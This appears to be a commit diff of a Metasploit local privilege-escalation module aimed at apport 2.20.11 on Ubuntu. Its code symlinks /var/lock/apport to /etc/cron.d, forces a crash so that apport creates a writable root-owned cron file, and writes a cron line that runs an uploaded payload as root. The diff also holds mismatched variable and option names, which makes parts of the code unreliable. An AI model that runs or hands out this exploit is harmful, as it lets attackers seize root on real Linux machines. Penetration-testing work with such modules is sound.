@@ -67,12 +67,14 @@ def initialize(info = {})
67
67
register_options [
68
68
OptString . new ( 'WRITABLE_DIR' , [ true , 'A directory we can write to.' , '/tmp' ] ) ,
69
69
OptString . new ( 'PAYLOAD_FILENAME' , [ true , 'Name of payload' , Rex ::Text . rand_text_alpha ( rand ( 8 ..12 ) ) ] ) ,
70
- OptString . new ( 'CRON_FILENAME' , [ true , 'Name of the cron file' , Rex ::Text . rand_text_alpha ( rand ( 8 ..12 ) ) ] ) ,
71
70
OptString . new ( 'CRON_INTERVAL' , [ true , 'Specify how often the Cron should run. Default is every minute.' , '* * * * *' ] )
72
71
]
73
72
end
74
73
75
74
def check
75
+ # If you are testing the module apport needs to be reinstalled on boot every time with
76
+ # sudo dpkg -i apport_2.20.11-0ubuntu21_all.deb
77
+ # sudo rm -rf /var/lock/apport/ -> must be run after each subsequent test!
76
78
return CheckCode ::Safe ( 'Platform is not Linux' ) unless session . platform == 'linux'
77
79
78
80
# Check apport version
@@ -84,7 +86,7 @@ def check
84
86
85
87
return CheckCode ::Detected ( 'Unable to determine apport version' ) if apport . blank?
86
88
87
- # todo determine if prior versions of apport which are NOT vulnerable
89
+ # todo determine if prior versions of apport are vulnerable
88
90
apport_version = Rex ::Version . new ( apport . split ( '-' ) . first )
89
91
90
92
vulnerable_version = Rex ::Version . new ( '2.20.11' )
@@ -99,32 +101,34 @@ def check
99
101
100
102
# hijack symlink by creating apport crash
101
103
def hijack_apport
102
- # Create symlink
103
- # might need to change linked directory
104
- cmd_exec 'ln -s /etc/cron.d /var/lock/apport'
104
+ # Create symlink, this will create a rwxrwxrwx root:root /etc/cron.d/lock
105
+ print_status ( "Creating symlink..." )
106
+ link = cmd_exec ( 'ln -s /etc/cron.d /var/lock/apport' )
107
+ print_status ( link )
105
108
106
- # CreatE crash and trigger apport
109
+ # Create crash and trigger apport
110
+ print_status ( "Triggering crash..." )
107
111
cmd_exec 'sleep 10s & kill -11 $!'
108
112
109
113
# need method for seeing if file is owned by root and combine with and gate
110
114
# TODO want to check if file is root owned to ensure exploit workedd
111
- # if uid method does not work remove Msf::Post::File::FileStat
112
- #puts "uid(/etc/crontab/lock) #{uid('/etc/crontab/lock')}"
113
- if !writable? ( '/etc/crontab/lock' ) #|| uid('/etc/crontab/lock') != 0
115
+ if !writable? ( '/etc/cron.d/lock' )
114
116
fail_with ( Failure ::NotFound , 'Exploit was unable to create a crontab owned by root.' )
117
+ else
118
+ print_good ( "Successfully created /etc/cron.d/lock" )
115
119
end
116
120
end
117
121
118
122
def write_payload
119
123
print_status 'Uploading payload'
120
124
121
- pay_dir = datastore [ 'WritableDir' ]
125
+ payload_dir = datastore [ 'WritableDir' ]
122
126
123
- pay_dir += '/' unless pay_dir . ends_with? '/'
127
+ payload_dir += '/' unless pay_dir . ends_with? '/'
124
128
125
- pay_file = datastore [ 'PayloadFilename' ]
129
+ payload_file = datastore [ 'PayloadFilename' ]
126
130
127
- @pay_dest = "#{ pay_dir } #{ pay_file } "
131
+ @payload_dest = "#{ payload_dir } #{ payload_file } "
128
132
129
133
# create the payload
130
134
if target . arch . first == ARCH_CMD
@@ -136,9 +140,9 @@ def write_payload
136
140
end
137
141
138
142
def write_cron
139
- cron_file = datastore [ 'CRON_FILENAME' ]
143
+ cron_file = '/etc/cron.d/lock'
140
144
cron_interval = datastore [ 'CRON_INTERVAL' ]
141
- write_file ( cron_file , "#{ cron_interval } #{ @pay_file } " )
145
+ write_file ( cron_file , "#{ cron_interval } #{ @payload_dest } " )
142
146
end
143
147
144
148
def exploit
0 commit comments